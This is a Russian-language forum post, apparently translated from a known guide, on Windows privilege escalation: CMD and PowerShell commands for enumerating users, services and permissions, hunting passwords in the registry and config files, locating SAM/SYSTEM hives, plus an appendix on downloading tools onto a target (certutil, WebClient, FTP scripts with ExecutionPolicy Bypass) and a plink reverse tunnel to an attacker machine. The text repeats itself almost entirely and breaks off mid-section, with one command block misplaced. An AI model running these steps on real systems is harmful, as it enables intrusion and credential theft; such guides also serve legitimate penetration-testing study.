Инструкция по тестированию машин под управление Windows.
Введение
Расширение привилегий практически всегда сводится к правильному подсчету. Но для того чтобы выполнить правильный подсчет вам необходимо знать, что нужно искать и проверять. Это предполагает знакомство с различными системами и понимание принципа их работы, которое, как правило, приходит с опытом. Вначале может показаться довольно таки сложной задачей, но через некоторое время вы понемногу начинаете понимать, что является нормальным, а что нет. В конце концов, становится легче понимать, что необходимо найти, и это, безусловно, намного лучше, чем хаотично копаться абсолютно во всем, что вы видите в надежде найти эту проклятую иголку в стоге сена. Надеемся, что это руководство послужит хорошей опорой и основой для вашего дальнейшего развития и начала работы.
Данное руководство опирается на Для просмотра ссылки Войдиили Зарегистрируйся (Основное расширение привилегий Linux от g0tm1lk), с которым вы, возможно уже ознакомились, а возможно даже и использовали. Я попытался создать аналогичное руководство, только для Windows. Таким образом, это руководство будет в основном сосредоточено на аспекте подсчета (enumeration).
Примечание: я не являюсь экспертом в этой области и все еще продолжаю обучаться.
Структура руководства
В каждом разделе я сначала предоставлю вам старые добрые CMD команды, а затем также укажу их эквиваленты в Powershell. Всегда намного лучше знать, как пользоваться несколькими инструментами, к тому же Powershell является более универсальным для написание скрипта, чем традиционный CMD. Тем не менее, не существует эквивалентов в Powershell абсолютно для всего (или же CMD все еще остается более простым/лучшим для некоторых вещей), так что некоторые разделы будут содержать только стандартные CMD команды.
Операционная система
Что за операционная система, и какая у нее архитектура? Установлены ли на ней все необходимые патчи?
Код:
systeminfo
wmic qfe
Есть ли что-то интересное в переменных среды? Контроллер домена в LOGONSERVER?
Код:
set
Код:
Get-ChildItem Env: | ft Key,Value
Есть ли другие подключенные приводы?
Код:
net use
wmic logicaldisk get caption,description,providername
Код:
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Пользователи
Кто вы такой?
Код:
whoami
echo %USERNAME%
Код:
$env:UserName
Есть ли какие-либо интересные пользовательские привилегии?
Примечание: графа The State не подразумевает, что пользователь имеет или не имеет доступа к данной привилегии. Если привилегия указана, значит, пользователь обладает ею.
Код:
whoami /priv
Какие пользователи находятся в системе? Возможно, есть какие-либо старые профили пользователей, которые не были удалены?
Код:
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Код:
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Кто-нибудь еще вошел в систему?
Код:
qwinsta
Какие группы находятся в системе?
Код:
net localgroup
Код:
Get-LocalGroup | ft Name
Состоит ли кто-нибудь из пользователей в администраторской группе?
Код:
net localgroup Administrators
Код:
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Есть ли что-нибудь в реестре для пользовательского автовхода?
Код:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Код:
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
Возможно есть что-нибудь интересное в Credential Manager?
Код:
cmdkey /list
Можем ли мы получить доступ к файлам SAM и SYSTEM?
Код:
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
%SYSTEMROOT%\System32\config\RegBack\system
Программы, Процессы, и Службы
Какое программное обеспечение установлено?
Код:
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Код:
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Есть ли неполные права доступа к папке или файлу?
Есть ли полные права доступа для всех пользователей к Program Folders?
Код:
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Изменить права доступа к Program Folders для всех пользователей?
Код:
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Код:
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Вы также можете закачать accesschk из Sysinternals для того, чтобы проверить файлы и папки, доступные для записи.
Код:
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *
Какие процессы или службы сейчас работают в системе? Есть ли скрытая внутренняя служба? Если да, можем ли мы ее открыть? См. «Переадресация портов» в приложении.
Код:
tasklist /svc
tasklist /v
net start
sc query
Get-Process имеет опцию -IncludeUserName, которая позволяет увидеть владельца процесса, однако, для её выполнения вы должны обладать правами администратора.
Код:
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
Эта одна строка возвращает владельца процесса без всяких прав администратора, если же под владельцем есть, что-то пустое, оно возможно запущено как СИСТЕМА (SYSTEM), СЕТЕВАЯ СЛУЖБА (NETWORK SERVICE) или ЛОКАЛЬНАЯ СЛУЖБА (LOCAL SERVICE).
Код:
Get-WmiObject -Query "Select * from Win32_Process" | where {$.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$.GetOwner().User}} | ft -AutoSize
Есть ли какие-нибудь слабые права доступа службы? Можем ли мы перенастроить что-либо? И снова, загрузите accesschk.
Код:
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
Существуют ли какие-нибудь unquoted service paths?
Код:
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
Код:
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows" -and $_.PathName -notlike '"'} | select PathName,DisplayName,Name
Какие назначенные задания существуют? Реализовано ли что-то пользовательское?
Код:
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Код:
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Что запускается при старте?
Код:
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Код:
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
Включен ли AlwaysInstallElevated? Я не сталкивался с этим, но проверить это не мешает.
Код:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Работа с сетью
Какие NICs подключены? Существуют ли несколько сетей?
Код:
ipconfig /all
Код:
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Какие маршруты мы имеем?
Код:
route print
Код:
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Есть ли что-нибудь в ARP кэше?
Код:
arp -a
Код:
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Есть ли подключения к другим хостам?
Код:
netstat -ano
Есть ли что-нибудь в файле hosts?
Код:
C:\WINDOWS\System32\drivers\etc\hosts
Включен ли брандмауэр? Если да, то каким образом он настроен?
Код:
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
Есть ли еще какие-нибудь другие интересные конфигурации интерфейса?
Код:
netsh dump
Есть ли какие-либо SNMP конфигурации?
Код:
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Код:
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Интересные файлы и важная информация
Этот раздел может быть довольно обширным, поэтому вы можете выводить команды в txt-файлы для просмотра и анализа, как вам это будет удобно.
Возможно есть какие-либо пароли в реестре?
Код:
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
Есть ли доступные файлы sysprep или unattend, которые не были убраны?
Код:
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Код:
Get-Childitem –Path C:\ -Include unattend,sysprep -File -Recurse -ErrorAction SilentlyContinue | where {($.Name -like ".xml" -or $.Name -like ".txt" -or $_.Name -like "*.ini")}
Если сервер является IIS вебсервером, что тогда в inetpub? Есть ли скрытые директории? Есть ли web.config файлы?
Код:
dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Код:
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Что находится в журналах IIS?
Код:
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
Установлены ли XAMPP, Apache, или PHP? Есть ли файлы конфигурации XAMPP, Apache, или PHP?
Код:
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Код:
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
Есть ли какие-нибудь веб журналы Apache?
Код:
dir /s access.log error.log
Код:
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Есть ли какие-нибудь интересные файлы для просмотра? Возможно внутри пользовательской директории User (рабочий стол, документы, и т.д.)?
Код:
dir /s pass == vnc == .config 2>nul
Код:
Get-Childitem –Path C:\Users\ -Include password,vnc,*.config -File -Recurse -ErrorAction SilentlyContinue
Есть ли файлы, которые содержат пароли?
Код:
findstr /si password *.xml *.ini *.txt *.config 2>nul
Код:
Get-ChildItem C:\* -include .xml,.ini,.txt,.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
Приложение
Скрипт подсчета
Я создал Powershell скрипт, который практически полностью автоматизирует все вышеуказанные процедуры. Вы можете найти его Для просмотра ссылки Войдиили Зарегистрируйся.
Передача файлов
В какой-то момент во время процесса расширения привилегий, вам нужно будет получить файлы на вашу целевую систему. Ниже приведены несколько простых способов сделать это.
Powershell Cmdlet (Powershell 3.0 и выше)
Код:
Invoke-WebRequest "Для просмотра ссылки Войдиили Зарегистрируйся" -OutFile "C:\Windows\Temp\filename"
Powershell однострочник
Код:
(New-Object System.Net.WebClient).DownloadFile("Для просмотра ссылки Войдиили Зарегистрируйся", "C:\Windows\Temp\filename")
Powershell Script
Код:
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "Для просмотра ссылки Войдиили Зарегистрируйся" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Неинтерактивный FTP через текстовый файл. Очень полезно в тех случаях, когда у вас ограниченное выполнение команд.
Код:
echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
CertUtil
Код:
certutil.exe -urlcache -split -f Для просмотра ссылки Войдиили Зарегистрируйся outputfilename
Перенаправление портов
Это полезно для отображения внутренних служб, которые недоступны вне самой машины, обычно из-за настроек брандмауэра.
Загрузите plink.exe на целевую систему.
Запустите SSH на вашей атакующей машине.
Например, для того чтобы отобразить SMB, на целевой машине запустите:
Код:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
Примечание: Начиная с обновления Fall Creators для Windows 10, OpenSSH был представлен в бета-версии для Windows, поэтому я ожидаю, что в один прекрасный день мы сможем использовать только обычные старые SSH-команды для переадресации портов, в зависимости от того, включен ли OpenSSH.
Список локальных файлов
Это не исчерпывающий список, каталоги установки будут регулярно меняться, я лишь перечислил самые основные.
Код:
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
Источник: Для просмотра ссылки Войдиили Зарегистрируйся
Все команды, описанные в статье можно запустить только находясь внутри системы с правами администратора.
Больше прав можно получить только обладая правами системы.
Введение
Расширение привилегий практически всегда сводится к правильному подсчету. Но для того чтобы выполнить правильный подсчет вам необходимо знать, что нужно искать и проверять. Это предполагает знакомство с различными системами и понимание принципа их работы, которое, как правило, приходит с опытом. Вначале может показаться довольно таки сложной задачей, но через некоторое время вы понемногу начинаете понимать, что является нормальным, а что нет. В конце концов, становится легче понимать, что необходимо найти, и это, безусловно, намного лучше, чем хаотично копаться абсолютно во всем, что вы видите в надежде найти эту проклятую иголку в стоге сена. Надеемся, что это руководство послужит хорошей опорой и основой для вашего дальнейшего развития и начала работы.
Данное руководство опирается на Для просмотра ссылки Войди
Примечание: я не являюсь экспертом в этой области и все еще продолжаю обучаться.
Структура руководства
В каждом разделе я сначала предоставлю вам старые добрые CMD команды, а затем также укажу их эквиваленты в Powershell. Всегда намного лучше знать, как пользоваться несколькими инструментами, к тому же Powershell является более универсальным для написание скрипта, чем традиционный CMD. Тем не менее, не существует эквивалентов в Powershell абсолютно для всего (или же CMD все еще остается более простым/лучшим для некоторых вещей), так что некоторые разделы будут содержать только стандартные CMD команды.
Операционная система
Что за операционная система, и какая у нее архитектура? Установлены ли на ней все необходимые патчи?
Код:
systeminfo
wmic qfe
Есть ли что-то интересное в переменных среды? Контроллер домена в LOGONSERVER?
Код:
set
Код:
Get-ChildItem Env: | ft Key,Value
Есть ли другие подключенные приводы?
Код:
net use
wmic logicaldisk get caption,description,providername
Код:
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Пользователи
Кто вы такой?
Код:
whoami
echo %USERNAME%
Код:
$env:UserName
Есть ли какие-либо интересные пользовательские привилегии?
Примечание: графа The State не подразумевает, что пользователь имеет или не имеет доступа к данной привилегии. Если привилегия указана, значит, пользователь обладает ею.
Код:
whoami /priv
Какие пользователи находятся в системе? Возможно, есть какие-либо старые профили пользователей, которые не были удалены?
Код:
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Код:
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Кто-нибудь еще вошел в систему?
Код:
qwinsta
Какие группы находятся в системе?
Код:
net localgroup
Код:
Get-LocalGroup | ft Name
Состоит ли кто-нибудь из пользователей в администраторской группе?
Код:
net localgroup Administrators
Код:
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Есть ли что-нибудь в реестре для пользовательского автовхода?
Код:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Код:
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
Возможно есть что-нибудь интересное в Credential Manager?
Код:
cmdkey /list
Можем ли мы получить доступ к файлам SAM и SYSTEM?
Код:
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
%SYSTEMROOT%\System32\config\RegBack\system
Программы, Процессы, и Службы
Какое программное обеспечение установлено?
Код:
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Код:
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Есть ли неполные права доступа к папке или файлу?
Есть ли полные права доступа для всех пользователей к Program Folders?
Код:
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Изменить права доступа к Program Folders для всех пользователей?
Код:
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Код:
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Вы также можете закачать accesschk из Sysinternals для того, чтобы проверить файлы и папки, доступные для записи.
Код:
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *
Какие процессы или службы сейчас работают в системе? Есть ли скрытая внутренняя служба? Если да, можем ли мы ее открыть? См. «Переадресация портов» в приложении.
Код:
tasklist /svc
tasklist /v
net start
sc query
Get-Process имеет опцию -IncludeUserName, которая позволяет увидеть владельца процесса, однако, для её выполнения вы должны обладать правами администратора.
Код:
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
Эта одна строка возвращает владельца процесса без всяких прав администратора, если же под владельцем есть, что-то пустое, оно возможно запущено как СИСТЕМА (SYSTEM), СЕТЕВАЯ СЛУЖБА (NETWORK SERVICE) или ЛОКАЛЬНАЯ СЛУЖБА (LOCAL SERVICE).
Код:
Get-WmiObject -Query "Select * from Win32_Process" | where {$.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$.GetOwner().User}} | ft -AutoSize
Есть ли какие-нибудь слабые права доступа службы? Можем ли мы перенастроить что-либо? И снова, загрузите accesschk.
Код:
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
Существуют ли какие-нибудь unquoted service paths?
Код:
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
Код:
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows" -and $_.PathName -notlike '"'} | select PathName,DisplayName,Name
Какие назначенные задания существуют? Реализовано ли что-то пользовательское?
Код:
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Код:
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Что запускается при старте?
Код:
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Код:
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
Включен ли AlwaysInstallElevated? Я не сталкивался с этим, но проверить это не мешает.
Код:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Работа с сетью
Какие NICs подключены? Существуют ли несколько сетей?
Код:
ipconfig /all
Код:
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Какие маршруты мы имеем?
Код:
route print
Код:
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Есть ли что-нибудь в ARP кэше?
Код:
arp -a
Код:
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Есть ли подключения к другим хостам?
Код:
netstat -ano
Есть ли что-нибудь в файле hosts?
Код:
C:\WINDOWS\System32\drivers\etc\hosts
Включен ли брандмауэр? Если да, то каким образом он настроен?
Код:
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
Есть ли еще какие-нибудь другие интересные конфигурации интерфейса?
Код:
netsh dump
Есть ли какие-либо SNMP конфигурации?
Код:
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Код:
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Интересные файлы и важная информация
Этот раздел может быть довольно обширным, поэтому вы можете выводить команды в txt-файлы для просмотра и анализа, как вам это будет удобно.
Возможно есть какие-либо пароли в реестре?
Код:
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
Есть ли доступные файлы sysprep или unattend, которые не были убраны?
Код:
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Код:
Get-Childitem –Path C:\ -Include unattend,sysprep -File -Recurse -ErrorAction SilentlyContinue | where {($.Name -like ".xml" -or $.Name -like ".txt" -or $_.Name -like "*.ini")}
Если сервер является IIS вебсервером, что тогда в inetpub? Есть ли скрытые директории? Есть ли web.config файлы?
Код:
dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Код:
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Что находится в журналах IIS?
Код:
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
Установлены ли XAMPP, Apache, или PHP? Есть ли файлы конфигурации XAMPP, Apache, или PHP?
Код:
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Код:
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
Есть ли какие-нибудь веб журналы Apache?
Код:
dir /s access.log error.log
Код:
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Есть ли какие-нибудь интересные файлы для просмотра? Возможно внутри пользовательской директории User (рабочий стол, документы, и т.д.)?
Код:
dir /s pass == vnc == .config 2>nul
Код:
Get-Childitem –Path C:\Users\ -Include password,vnc,*.config -File -Recurse -ErrorAction SilentlyContinue
Есть ли файлы, которые содержат пароли?
Код:
findstr /si password *.xml *.ini *.txt *.config 2>nul
Код:
Get-ChildItem C:\* -include .xml,.ini,.txt,.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
Приложение
Скрипт подсчета
Я создал Powershell скрипт, который практически полностью автоматизирует все вышеуказанные процедуры. Вы можете найти его Для просмотра ссылки Войди
Передача файлов
В какой-то момент во время процесса расширения привилегий, вам нужно будет получить файлы на вашу целевую систему. Ниже приведены несколько простых способов сделать это.
Powershell Cmdlet (Powershell 3.0 и выше)
Код:
Invoke-WebRequest "Для просмотра ссылки Войди
Powershell однострочник
Код:
